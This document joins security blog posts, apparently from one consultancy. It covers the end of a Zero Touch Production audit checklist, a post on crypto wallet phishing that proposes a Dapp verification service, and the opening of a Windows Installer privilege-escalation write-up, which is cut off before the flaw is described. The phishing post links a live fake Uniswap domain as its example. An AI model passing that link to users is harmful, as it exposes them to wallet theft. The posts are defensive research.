<p>A reason for the pushed command must always be requested by the user (who, when, what, WHY). Ensuring traceability and scoping in the ZTP platform helps maintain a clear understanding of actions taken and their justifications.</p>
<h4 id="j-scoped-access">J. Scoped Access</h4>
<p>The ZTP platform should have rules in place to detect not only if the user is authorized to access user data, but also which kind and at what scale. Lack of fine-grained authorization or scoping rules for querying user data increases the risk of abuse.</p>
<h4 id="k-different-interfaces-different-requirements">K. Different Interfaces, Different Requirements</h4>
<p>ZTP platforms usually have two types of proxy interfaces: Remote Procedure Call (RPC) and Command Line Interface (CLI). The RPC proxy is used to run CLI on behalf of the user/service in production in a controlled way. Since the implementation varies between the two interfaces, looking for discrepancies in the access requirements or logic is crucial.</p>
<h4 id="l-service-vs-global-rules">L. Service vs Global rules</h4>
<p>The rule evaluation priority (Global over Service-specific) is another area of concern. In general, service rules should not be able to override global rules but only set stricter requirements.</p>
<h4 id="m-command-parsing">M. Command Parsing</h4>
<p>If an allowlist is enforced, inspect how the command is parsed when an allowlist is created (abstract syntax tree (AST), regex, binary match, etc.).</p>
<h4 id="n-race-conditions">N. Race Conditions</h4>
<p>All operations should be queued, and a global queue for the commands should be respected. There should be no chance of race conditions if two concurrent operations are issued.</p>
<h4 id="o-break-glass">O. Break-glass</h4>
<p>In the ZTP pattern, a break-glass mechanism is always available for emergency response. Auditing this mode is essential. Entering it must be loud, justified, alert security, and be heavily logged.
As an additional security measure, the breakglass mechanism for zero trust networking should be available only from specific locations. These locations are the organization’s panic rooms, specific locations with additional physical access controls to offset the increased trust placed in their connectivity.</p>
<h2 id="conclusions">Conclusions</h2>
<p>As more companies develop and adopt Zero Touch Production platforms, it is crucial to understand and test these services for security vulnerabilities. With an increase in vendors and solutions for Zero Touch Production in the coming years, researching and staying informed about these platforms’ security issues is an excellent opportunity for security professionals.</p>
<h2 id="references">References</h2>
<div class="footnotes" role="doc-endnotes">
<ol>
<li id="fn:2" role="doc-endnote">
<p>Michał Czapiński and Rainer Wolafka from Google Switzerland, “Zero Touch Prod: Towards Safer and More Secure Production Environments”. USENIX (2019). <a href="https://www.usenix.org/conference/srecon19emea/presentation/czapinski">Link</a> / <a href="https://www.youtube.com/watch?v=v_C0WZtZgb4&t=1262s">Talk</a> <a href="#fnref:2" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:3" role="doc-endnote">
<p>Ward, Rory, and Betsy Beyer. “Beyondcorp: A new approach to enterprise security”, (2014). <a href="https://research.google/pubs/pub43231/">Link</a> <a href="#fnref:3" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
<li id="fn:1" role="doc-endnote">
<p>Adkins, Heather, et al. ““Building secure and reliable systems: best practices for designing, implementing, and maintaining systems”. O’Reilly Media, (2020). <a href="https://books.google.it/books?id=9XHnDwAAQBAJ">Link</a> <a href="#fnref:1" class="reversefootnote" role="doc-backlink">↩</a></p>
</li>
</ol>
</div>
The Case For Improving Crypto Wallet Security2023-03-28T00:00:00+02:00https://blog.doyensec.com/2023/03/28/wallet-info<h2 id="anatomy-of-a-modern-day-crypto-scam">Anatomy Of A Modern Day Crypto Scam</h2>
<p>A large number of today’s crypto scams involve some sort of <a href="https://en.wikipedia.org/wiki/Phishing">phishing</a> attack, where the user is tricked into visiting a shady/malicious web site and connecting their wallet to it. The main goal is to trick the user into signing a transaction which will ultimately give the attacker control over the user’s tokens.</p>
<p>Usually, it all starts with a tweet or a post on some Telegram group or Slack channel, where a link is sent advertising either a new <a href="https://academy.binance.com/en/articles/what-is-yield-farming-in-decentralized-finance-defi">yield farming</a> protocol boasting large APYs, or a new NFT project which just started minting. In order to interact with the web site, the user would need to connect their wallet and perform some confirmation or authorization steps.</p>
<p>Let’s take a look at the common NFT <code class="language-plaintext highlighter-rouge">approve</code> scam. The user is lead to the malicious NFT site, advertising a limited <a href="https://www.coindesk.com/learn/buying-nfts-during-presales-and-public-mints-things-you-should-know/">pre-mint</a> of their new NFT collection. The user is then prompted to connect their wallet and sign a transaction, confirming the mint. However, for some reason, the transaction fails. The same happens on the next attempt. With each failed attempt, the user becomes more and more frustrated, believing the issue causes them to miss out on the mint. Their concentration and focus shifts slightly from paying attention to the transactions, to missing out on a great opportunity.</p>
<p>At this point, the phishing is in full swing. A few more failed attempts, and the victim bites.</p>
<p>
<center><img src="../../../public/images/wallet-scam-txs.webp" alt="Wallet Phishing" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 700px;" /></center>
</p>
<p>(Image borrowed from <a href="https://coinsbench.com/how-scammers-manipulate-smart-contracts-to-steal-and-how-to-avoid-it-8b4e4a052985">How scammers manipulate Smart Contracts to steal and how to avoid it</a>)</p>
<p>The final transaction, instead of the <code class="language-plaintext highlighter-rouge">mint</code> function, calls the <code class="language-plaintext highlighter-rouge">setApprovalForAll</code>, which essentially will give the malicious actor control over the user’s tokens. The user by this point is in a state where they blindly confirm transactions, hoping that the minting will not close.</p>
<p>Unfortunately, the last transaction is the one that goes through. Game over for the victim. All the attacker has to do now is act quickly and transfer the tokens away from the user’s wallet before the victim realizes what happened.</p>
<p>These type of attacks are really common today. A user stumbles on a link to a project offering new opportunities for profits, they connect their wallet, and mistakenly hand over their tokens to malicious actors. While a case can be made for user education, responsibility, and researching a project before interacting with it, we believe that software also has a big part to play.</p>
<h2 id="the-case-for-improving-crypto-wallet-security">The Case For Improving Crypto Wallet Security</h2>
<p>Nobody can deny that the introduction of both blockchain-based technologies and Web3 have had a massive impact on the world. A lot of them have offered the following common set of features:</p>
<ul>
<li>transfer of funds</li>
<li>permission-less currency exchange</li>
<li>decentralized governance</li>
<li>digital collectibles</li>
</ul>
<p>Regardless of the tech-stack used to build these platforms, it’s ultimately the users who make the platform. This means that users need a way to interact with their platform of choice. Today, the most user-friendly way of interacting with blockchain-based platforms is by using a <strong>crypto wallet</strong>. In simple terms, a crypto wallet is a piece of software which facilitates signing of blockchain transactions using the user’s <a href="https://en.wikipedia.org/wiki/Cryptocurrency_wallet">private key</a>. There are multiple types of wallets including software, hardware, custodial, and non-custodial. For the purposes of this post, we will focus on software based wallets.</p>
<p>Before continuing, let’s take a short detour to Web2. In that world, we can say that platforms (also called services, portals or servers) are primarily built using TCP/IP based technologies. In order for users to be able to interact with them, they use a user-agent, also known as a <strong>web browser</strong>. With that said, we can make the following parallel to Web3:</p>
<table>
<thead>
<tr>
<th>Technology</th>
<th>Communication Protocol</th>
<th>User-Agent</th>
</tr>
</thead>
<tbody>
<tr>
<td>Web2</td>
<td>HTTP/TLS</td>
<td>Web Browser</td>
</tr>
<tr>
<td>Web3</td>
<td>Blockchain JSON RPC</td>
<td>Crypto Wallet</td>
</tr>
</tbody>
</table>
<p>Web browsers are arguably much, much more complex pieces of software compared to crypto wallets - and with good reason. As the Internet developed, people figured out how to put different media on it and web pages allowed for dynamic and <a href="https://en.wikipedia.org/wiki/JavaScript">scriptable</a> content. Over time, advancements in HTML and CSS technologies changed what and how content could be shown on a single page. The Internet became a place where people went to socialize, find entertainment, and make purchases. Browsers needed to evolve, to support new technological advancements, which in turn increased complexity. As with all software, complexity is the enemy, and complexity is where bugs and vulnerabilities are born. Browsers needed to implement controls to help mitigate web-based vulnerabilities such as <a href="https://owasp.org/www-community/attacks/Content_Spoofing">spoofing</a>, <a href="https://owasp.org/www-community/attacks/xss/">XSS</a>, and <a href="https://en.wikipedia.org/wiki/DNS_rebinding">DNS rebinding</a> while still helping to facilitate secure communication via encrypted <a href="https://en.wikipedia.org/wiki/Transport_Layer_Security">TLS</a> connections.</p>
<p>Next, lets see what a typical crypto wallet interaction for a normal user might look like.</p>
<h3 id="the-current-state-of-things-in-the-web3-world">The Current State Of Things In The Web3 World</h3>
<p>Using a Web3 platform today usually means that a user is interacting with a web application (<a href="https://ethereum.org/en/developers/docs/dapps">Dapp</a>), which contains code to interact with the user’s wallet and smart contracts belonging to the platform. The steps in that communication flow generally look like:</p>
<h4 id="1-open-the-dapp">1. Open the Dapp</h4>
<p>In most cases, the user will navigate their web browser to a URL where the Dapp is hosted (ex. <a href="https://app.uniswap.org">Uniswap</a>). This will load the web page containing the Dapp’s code. Once loaded, the Dapp will try to connect to the user’s wallet.</p>
<p>
<center><img src="../../../public/images/wallet-connect00.png" alt="Dapp and User Wallet" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 400px;" /></center>
</p>
<h4 id="2-authorizing-the-dapp">2. Authorizing The Dapp</h4>
<p>A few of the protections implemented by crypto wallets include requiring authorization before being able to access the user’s accounts and requests for transactions to be signed. This was not the case before <a href="https://github.com/ethereum/EIPs/blob/master/EIPS/eip-1102.md">EIP-1102</a>. However, implementing these features helped keep users anonymous, stop Dapp spam, and provide a way for the user to manage trusted and un-trusted Dapp domains.</p>
<p>
<center><img src="../../../public/images/wallet-connect01.png" alt="Authorizing The Dapp 1" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 400px;" /></center>
</p>
<p>If all the previous steps were completed successfully, the user can start using the Dapp.</p>
<p>When the user decides to perform an action (make a transaction, buy an NFT, stake their tokens, etc.), the user’s wallet will display a popup, asking whether the user confirms the action. The transaction parameters are generated by the Dapp and forwarded to the wallet. If confirmed, the transaction will be signed and published to the blockchain, awaiting confirmation.</p>
<p>
<center><img src="../../../public/images/wallet-connect02.png" alt="Authorizing The Dapp 2" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 4 00px;" /></center>
</p>
<p>Besides the authorization popup when initially connecting to the Dapp, the user is not shown much additional information about the application or the platform. This ultimately burdens the user with verifying the legitimacy and trustworthiness of the Dapp and, unfortunately, this requires some degree of technical knowledge often out-of-reach for the majority of common users. While <a href="https://academy.binance.com/en/glossary/do-your-own-research">doing your own research</a>, a common mantra of the Web3 world, is recommended, one misstep can lead to significant loss of funds.</p>
<p>That being said, let’s now take another detour to Web2 world, and see what a similar interaction looks like.</p>
<h3 id="how-does-the-web2-world-handle-similar-situations">How Does The Web2 World Handle Similar Situations?</h3>
<p>Like the previous example, we’ll look at what happens when a user wants to use a Web2 application. Let’s say that the user wants to check their email inbox. They’ll start by navigating their browser to the email domain (ex. <a href="https://mail.google.com">Gmail</a>). In the background, the browser performs a TLS handshake, trying to establish a secure connection to Gmail’s servers. This will enable an encrypted channel between the user’s browser and Gmail’s servers, eliminating the possibility of any eavesdropping. If the handshake is successful, an encrypted connection is established and communicated to the user through the browser’s UI.</p>
<p>
<center><img src="../../../public/images/browser-lock.png" alt="Browser Lock" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 400px;" /></center>
</p>
<p>The secure connection is based on certificates issued for the domain the user is trying to access. A certificate contains a public key used to establish the encrypted connection. Additionally, certificates must be signed by a trusted third-party called a Certificate Authority (CA), giving the issued certificate legitimacy and guaranteeing that it belongs to the domain being accessed.</p>
<p>But, what happens if that is not the case? What happens when the certificate is for some reason rejected by the browser? Well, in that case a massive red warning is shown, explaining what happened to the user.</p>
<p>
<center><img src="../../../public/images/browser-error.jpg" alt="Browser Certificate Error" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 500px;" /></center>
</p>
<p>Such warnings will be shown when a secure connection could not be established, the certificate of the host is not <a href="https://en.wikipedia.org/wiki/Web_of_trust">trusted</a> or if the certificate is expired. The browser also tries to show, in a human-readable manner, as much useful information about the error as possible. At this point, it’s the choice of the user whether they trust the site and want to continue interacting with it. The task of the browser is to inform the user of potential issues.</p>
<h2 id="what-can-be-done">What Can Be Done?</h2>
<p>Crypto wallets should show the user as much information about the action being performed as possible. The user should see information about the domain/Dapp they are interacting with. Details about the actual transaction’s content, such as what function is being invoked and its parameters should be displayed in a user-readable fashion.</p>
<p>Comparing both previous examples, we can notice a lack of verification and information being displayed in crypto wallets today. This, then poses the question: what can be done? There exist a number of publicly available indicators for the health and legitimacy of a project. We believe communicating these to the user may be a good step forward in addressing this issue. Let’s go quickly go through them.</p>
<h4 id="proof-of-smart-contract-ownership">Proof Of Smart Contract Ownership</h4>
<p>It is important to prove that a domain has ownership over the smart contracts with which it interacts. Currently, this mechanism doesn’t seem to exist. However, we think we have a good solution. Similarly to how Apple performs <a href="https://developer.apple.com/documentation/applepaywebmerchantregistrationapi/preparing_merchant_domains_for_verification">merchant domain verification</a>, a simple JSON file or <code class="language-plaintext highlighter-rouge">dapp_file</code> can be used to verify ownership. The file can be stored on the root of the Dapp’s domain, on the path <code class="language-plaintext highlighter-rouge">.well-known/dapp_file</code>. The JSON file can contain the following information:</p>
<ul>
<li>address of the smart contract the Dapp is interacting with</li>
<li>timestamp showing when the file was generated</li>
<li>signature of the content, verifying the validity of the file</li>
</ul>
<p>At this point, a reader might say: “How does this show ownership of the contract?”. The key to that is the signature. Namely, the signature is generated by using the private key of the account which deployed the contract. The transparency of the blockchain can be used to get the deployer address, which can then be used to verify the signature (similarly to how Ethereum smart contracts verify signatures on-chain).</p>
<p>This mechanism enables creating an explicit association between a smart contract and the Dapp. The association can later be used to perform additional verification.</p>
<h4 id="domain-registration-records">Domain Registration Records</h4>
<p>When a new domain is purchased or registered, a public record is created in a public <a href="https://www.cloudflare.com/en-gb/learning/dns/glossary/what-is-a-domain-name-registrar/">registrar</a>, indicating the domain is owned by someone and is no longer available for purchase. The domain name is used by the Domain Name Service, or DNS, which translates it (ex www.doyensec.com) to a machine-friendly IP address (ex. 34.210.62.107).</p>
<p>The creation date of a DNS record shows when the Dapp’s domain was initially purchased. So, if a user is trying to interact with an already long established project and runs into a domain which claims to be that project with a recently created domain registration record, it may be a signal of possible fraudulent activities.</p>
<h4 id="tls-certificates">TLS Certificates</h4>
<p>Creation and expiration dates of TLS certificates can be viewed in a similar fashion as DNS records. However, due to the short duration of certificates issued by services such as <a href="https://letsencrypt.org/docs/faq/#what-is-the-lifetime-for-let-s-encrypt-certificates-for-how-long-are-they-valid">Let’s Encrypt</a>, there is a strong chance that visitors of the Dapp will be shown a relatively new certificate.</p>
<p>TLS certificates, however, can be viewed as a way of verifying a correct web site setup where the owner took additional steps to allow secure communication between the user and their application.</p>
<h4 id="smart-contract-source-code-verification-status">Smart Contract Source Code Verification Status</h4>
<p>Published and verified source code allows for audits of the smart contract’s functionality and can allow quick identification of malicious activity.</p>
<h4 id="smart-contract-deployment-date">Smart Contract Deployment Date</h4>
<p>The smart contract’s deployment date can provide additional information about the project. For example, if attackers set up a fake Uniswap web site, the likelihood of the malicious smart contract being recently deployed is high. If interacting with an already established, legitimate project, such a discrepancy should alarm the user of potential malicious activity.</p>
<h4 id="smart-contract-interactions">Smart Contract Interactions</h4>
<p>Trustworthiness of a project can be seen as a function of the number of interactions with that project’s smart contracts. A healthy project, with a large user base will likely have a large number of unique interactions with the project’s contracts. A small number of interactions, unique or not, suggest the opposite. While typical of a new project, it can also be an indicator of smart contracts set up to impersonate a legitimate project. Such smart contracts will not have the large user base of the original project, and thus the number of interactions with the project will be low.</p>
<p>Overall, a large number of unique interactions over a long period of time with a smart contract may be a powerful indicator of a project’s health and the health of its ecosystem.</p>
<h2 id="our-suggestion">Our Suggestion</h2>
<p>While there are authorization steps implemented when a wallet is connecting to an unknown domain, we think there is space for improvement. The connection and transaction signing process can be further updated to show user-readable information about the domain/Dapp being accessed.</p>
<p>As a proof-of-concept, we implemented a simple web service <a href="https://github.com/doyensec/wallet-info"><strong>https://github.com/doyensec/wallet-info</strong></a>. The service utilizes public information, such as domain registration records, TLS certificate information and data available via Etherscan’s API. The data is retrieved, validated, parsed and returned to the caller.</p>
<p>The service provides access to the following endpoints:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">/host?url=<url></code></li>
<li><code class="language-plaintext highlighter-rouge">/contract?address=<address></code></li>
</ul>
<p>The data these endpoints return can be integrated in crypto wallets at two points in the user’s interaction.</p>
<h3 id="initial-dapp-access">Initial Dapp Access</h3>
<p>The <code class="language-plaintext highlighter-rouge">/host</code> endpoint can be used when the user is initially connecting to a Dapp. The Dapp’s URL should be passed as a parameter to the endpoint. The service will use the supplied URL to gather information about the web site and its configuration. Additionally, the service will check for the presence of the <code class="language-plaintext highlighter-rouge">dapp_file</code> on the site’s root and verify its signature. Once processing is finished, the service will respond with:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="s2">"Example Dapp"</span><span class="p">,</span><span class="w">
</span><span class="nl">"timestamp"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2000-01-01T00:00:00Z"</span><span class="p">,</span><span class="w">
</span><span class="nl">"domain"</span><span class="p">:</span><span class="w"> </span><span class="s2">"app.example.com"</span><span class="p">,</span><span class="w">
</span><span class="nl">"tls"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
</span><span class="nl">"tls_issued_on"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2022-01-01T00:00:00Z"</span><span class="p">,</span><span class="w">
</span><span class="nl">"tls_expires_on"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2022-01-01TT00:00:00Z"</span><span class="p">,</span><span class="w">
</span><span class="nl">"dns_record_created"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2012-01-01T00:00:00Z"</span><span class="p">,</span><span class="w">
</span><span class="nl">"dns_record_updated"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2022-08-14T00:01:31Z"</span><span class="p">,</span><span class="w">
</span><span class="nl">"dns_record_expires"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2023-08-13T00:00:00Z"</span><span class="p">,</span><span class="w">
</span><span class="nl">"dapp_file"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
</span><span class="nl">"valid_signature"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>This information can be shown to the user in a dialog UI element, such as:</p>
<p>
<center><img src="../../../public/images/wallet-dialog-safe.png" alt="Wallet Dialog Safe" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 550px;" /></center>
</p>
<p>As a concrete example, lets take a look at <a href="https://apply-uniswap.com">this fake Uniswap</a> site was active during the writing of this post. If a user tried to connect their wallet to the Dapp running on the site, the following information would be returned to the user:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"name"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
</span><span class="nl">"timestamp"</span><span class="p">:</span><span class="w"> </span><span class="kc">null</span><span class="p">,</span><span class="w">
</span><span class="nl">"domain"</span><span class="p">:</span><span class="w"> </span><span class="s2">"apply-uniswap.com"</span><span class="p">,</span><span class="w">
</span><span class="nl">"tls"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
</span><span class="nl">"tls_issued_on"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2023-02-06T22:37:19Z"</span><span class="p">,</span><span class="w">
</span><span class="nl">"tls_expires_on"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2023-05-07T22:37:18Z"</span><span class="p">,</span><span class="w">
</span><span class="nl">"dns_record_created"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2023-02-06T23:31:09Z"</span><span class="p">,</span><span class="w">
</span><span class="nl">"dns_record_updated"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2023-02-06T23:31:10Z"</span><span class="p">,</span><span class="w">
</span><span class="nl">"dns_record_expires"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2024-02-06T23:31:09Z"</span><span class="p">,</span><span class="w">
</span><span class="nl">"dapp_file"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span><span class="w">
</span><span class="nl">"valid_signature"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>The missing information from the response reflect that the <code class="language-plaintext highlighter-rouge">dapp_file</code> was not found on this domain. This information will then be reflected on the UI, informing the user of potential issues with the Dapp:</p>
<p>
<center><img src="../../../public/images/wallet-dialog-domain-unsafe.png" alt="Wallet Dialog Domain Unsafe" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 550px;" /></center>
</p>
<p>At this point, the users can review the information and decide whether they feel comfortable giving the Dapp access to their wallet. Once the Dapp is authorized, this information doesn’t need to be shown anymore. Though, it would be beneficial to occasionally re-display this information, so that any changes in the Dapp or its domain will be communicated to the user.</p>
<h3 id="making-a-transaction">Making A Transaction</h3>
<p>Transactions can be split in two groups: transactions that transfer native tokens and transactions which are smart contract function calls. Based on the type of transaction being performed, the <code class="language-plaintext highlighter-rouge">/contract</code> endpoint can be used to retrieve information about the recipient of the transferred assets.</p>
<p>For our case, the smart contract function calls are the more interesting group of transactions. The wallet can retrieve information about both the smart contract on which the function will be called as well as the function parameter representing the recipient. For example the <code class="language-plaintext highlighter-rouge">spender</code> parameter in the <code class="language-plaintext highlighter-rouge">approve(address spender, uint256 amount)</code> function call. This information can be retrieved on a case-by-case basis, depending on the function call being performed.</p>
<p>Signatures of widely used functions are <a href="https://www.4byte.directory/">available</a> and can be implemented in the wallet as a type of an allow or safe list. If a signature is unknown, the user should be informed about it.</p>
<p>Verifying the recipient gives users confidence they are transferring tokens, or allowing access to their tokens for known, legitimate addresses.</p>
<p>An example response for a given address will look something like:</p>
<div class="language-json highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">{</span><span class="w">
</span><span class="nl">"is_contract"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
</span><span class="nl">"contract_address"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0xF4134146AF2d511Dd5EA8cDB1C4AC88C57D60404"</span><span class="p">,</span><span class="w">
</span><span class="nl">"contract_deployer"</span><span class="p">:</span><span class="w"> </span><span class="s2">"0x002362c343061fef2b99d1a8f7c6aeafe54061af"</span><span class="p">,</span><span class="w">
</span><span class="nl">"contract_deployed_on"</span><span class="p">:</span><span class="w"> </span><span class="s2">"2023-01-01T00:00:00Z"</span><span class="p">,</span><span class="w">
</span><span class="nl">"contract_tx_count"</span><span class="p">:</span><span class="w"> </span><span class="mi">10</span><span class="p">,</span><span class="w">
</span><span class="nl">"contract_unique_tx"</span><span class="p">:</span><span class="w"> </span><span class="mi">5</span><span class="p">,</span><span class="w">
</span><span class="nl">"valid_signature"</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span><span class="w">
</span><span class="nl">"verified_source"</span><span class="p">:</span><span class="w"> </span><span class="kc">false</span><span class="w">
</span><span class="p">}</span><span class="w">
</span></code></pre></div></div>
<p>In the background, the web service will gather information about the type of address (EOA or smart contract), code verification status, address interaction information etc. All of that should be shown to the user as part of the transaction confirmation step.</p>
<p>
<center><img src="../../../public/images/wallet-dialog-unsafe.png" alt="Wallet Dialog Unsafe" align="center" style="display: block; margin-left: auto; margin-right: auto;max-width: 550px;" /></center>
</p>
<p>Links to the smart contract and any additional information can be provided here, helping users perform additional verification if they so wish.</p>
<p>In the case of native token transfers, the majority of verification consists of typing in the valid <code class="language-plaintext highlighter-rouge">to</code> address. This is not a task that is well suited for automatic verification. For this use case, wallets provide an “address book” like functionality, which should be utilized to minimize any user errors when initializing a transaction.</p>
<h2 id="conclusion">Conclusion</h2>
<p>The point of this post is to highlight the shortcomings of today’s crypto wallet implementations, to present ideas, and make suggestions for how they can be improved. This field is actively being worked on. Recently, <a href="https://metamask.zendesk.com/hc/en-us/articles/6174898326683#h_01GA1DZF6GH7EAJV86X6D839H6">MetaMask</a> updated their confirmation UI to display additional information, informing users of potential <code class="language-plaintext highlighter-rouge">setApprovalForAll</code> scams. This is a step in the right direction, but there is still a long way to go. Features like these can be built upon and augmented, to a point where users can make transactions and know, to a high level of certainty, that they are not making a mistake or being scammed.</p>
<p>There are also third-party groups like <a href="https://walletguard.app/">WalletGuard</a> and <a href="https://zengo.com/">ZenGo</a> who have implemented similar verifications described in this post. These features should be a standard and required for every crypto wallet, and not just an additional piece of software that needs to be installed.</p>
<p>Like the user-agent of Web2, the web browser, user-agents of Web3 should do as much as possible to inform and protect their users.</p>
<p>Our implementation of the <a href="https://github.com/doyensec/wallet-info"><code class="language-plaintext highlighter-rouge">wallet-info</code></a> web service is just an example of how public information can be pooled together. That information, combined with a good UI/UX design, will greatly improve the security of crypto wallets and, in turn, the security of the entire Web3 ecosystem.</p>
<p>Does Dapp verification completely solve the phishing/scam problem? Unfortunately, the answer is no. The proposed changes can help users in distinguishing between legitimate projects and potential scams, and guide them to make the right decision. Dedicated attackers, given enough time and funds, will always be able to produce a smart contract, Dapp or web site, which will look harmless using the indicators described above. This is true for both the Web2 and Web3 world.</p>
<p>Ultimately, it is up to the user to decide if the they feel comfortable giving their login credentials to a web site, or access to their crypto wallet to a Dapp. All software can do is point them in the right direction.</p>
Windows Installer EOP (CVE-2023-21800)2023-03-21T00:00:00+01:00https://blog.doyensec.com/2023/03/21/windows-installer<p><strong>TL;DR</strong>: This blog post describes the details and methodology of our research targeting the Windows Installer (MSI) installation technology. If you’re only interested in the vulnerability itself, then <a href="/#msi-vuln">jump right there</a></p>
<h3 id="introduction">Introduction</h3>
<p>Recently, I decided to research a single common aspect of many popular Windows applications - their MSI installer packages.</p>
<p>Not every application is distributed this way. Some applications implement custom bootstrapping mechanisms, some are just meant to be dropped on the disk. However, in a typical enterprise environment, some form of control over the installed packages is often desired. Using the MSI packages simplifies the installation process for any number of systems and also provides additional benefits such as automatic repair, easy patching, and compatibility with GPO. A good example is Google Chrome, which is typically distributed as a standalone executable, but an enterprise package is offered on a dedicated <a href="https://chromeenterprise.google/">domain</a>.</p>
<p>Another interesting aspect of enterprise environments is a need for strict control over employee accounts. In particular, in a well-secured Windows environment, the rule of least privileges ensures no administrative rights are given unless there’s a really good reason. This is bad news for malware or malicious attackers who would benefit from having additional privileges at hand.</p>
<p>During my research, I wanted to take a look at the security of popular MSI packages and understand whether they could be used by an attacker for any malicious purposes and, in particular, to elevate local privileges.</p>
<h3 id="typical-installation">Typical installation</h3>
<p>It’s very common for the MSI package to require administrative rights. As a result, running a malicious installer is a straightforward game-over. I wanted to look at legitimate, properly signed MSI packages. Asking someone to type an admin password, then somehow opening elevated cmd is also an option that I chose not to address in this blog post.</p>
<p>Let’s quickly look at how the installer files are generated. Turns out, there are several options to generate an MSI package. Some of the most popular ones are <a href="https://wixtoolset.org/">WiX Toolset</a>, <a href="https://www.revenera.com/install/products/installshield">InstallShield</a>, and <a href="https://www.advancedinstaller.com/">Advanced Installer</a>. The first one is free and open-source, but requires you to write dedicated XML files. The other two offer various sets of features, rich GUI interfaces, and customer support, but require an additional license. One could look for generic vulnerabilities in those products, however, it’s really hard to address all possible variations of offered features. On the other hand, it’s exactly where the actual bugs in the installation process might be introduced.</p>
<p>During the installation process, new files will be created. Some existing files might also be renamed or deleted. The access rights to various securable objects may be changed. The interesting question is what would happen if unexpected access rights are present. Would the installer fail or would it attempt to edit the permission lists? Most installers will also modify Windows registry keys, drop some shortcuts here and there, and finally log certain actions in the event log, database, or plain files.</p>
<p>The list of actions isn’t really sealed. The MSI packages may implement the so-called <a href="https://learn.microsoft.com/en-us/windows/win32/msi/custom-actions">custom actions</a> which are implemented in a dedicated DLL. If this is the case, it’s very reasonable to look for interesting bugs over there.</p>
<p>Once we have an installer package ready and installed, we can often observe a new copy being cached in the <em>C:\Windows\Installers</em> directory. This is a hidden system directory where unprivileged users cannot write. The copies of the MSI packages are renamed to random names matching the following regular expression: <code class="language-plaintext highlighter-rouge">^[0-9a-z]{7}\.msi$</code>. The name will be unique for every machine and even every new installation. To identify a specific package, we can look at file properties (but it’s up to the MSI creator to decide which properties are configured), search the Windows registry, or ask the WMI:</p>
<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">$</span><span class="w"> </span><span class="n">Get-WmiObject</span><span class="w"> </span><span class="nt">-class</span><span class="w"> </span><span class="nx">Win32_Product</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="nf">?</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="bp">$_</span><span class="o">.</span><span class="nf">Name</span><span class="w"> </span><span class="o">-like</span><span class="w"> </span><span class="s2">"*Chrome*"</span><span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">select</span><span class="w"> </span><span class="nx">IdentifyingNumber</span><span class="p">,</span><span class="nx">Name</span><span class="w">
</span><span class="n">IdentifyingNumber</span><span class="w"> </span><span class="nx">Name</span><span class="w">
</span><span class="o">-----------------</span><span class="w"> </span><span class="o">----</span><span class="w">
</span><span class="p">{</span><span class="n">B460110D-ACBF-34F1-883C-CC985072AF9E</span><span class="p">}</span><span class="w"> </span><span class="n">Google</span><span class="w"> </span><span class="nx">Chrome</span><span class="w">
</span></code></pre></div></div>
<p>Referring to the package via its GUID is our safest bet. However, different versions of the same product may still have different identifiers.</p>
<p>Assuming we’re using an unprivileged user account, is there anything interesting we can do with that knowledge?</p>
<h3 id="repair-process">Repair process</h3>
<p>The builtin Windows tool, called <code class="language-plaintext highlighter-rouge">msiexec.exe</code>, is located in the <code class="language-plaintext highlighter-rouge">System32</code> and <code class="language-plaintext highlighter-rouge">SysWOW64</code> directories. It is used to manage the MSI packages. The tool is a core component of Windows with a long history of vulnerabilities. As a side note, I also happen to have found one such issue in the past (<a href="https://nvd.nist.gov/vuln/detail/CVE-2021-26415">CVE-2021-26415</a>). The documented list of its options can be found on the <a href="https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec">MSDN page</a> although some additional undocumented switches are also implemented.</p>
<p>The flags worth highlighting are:</p>
<ul>
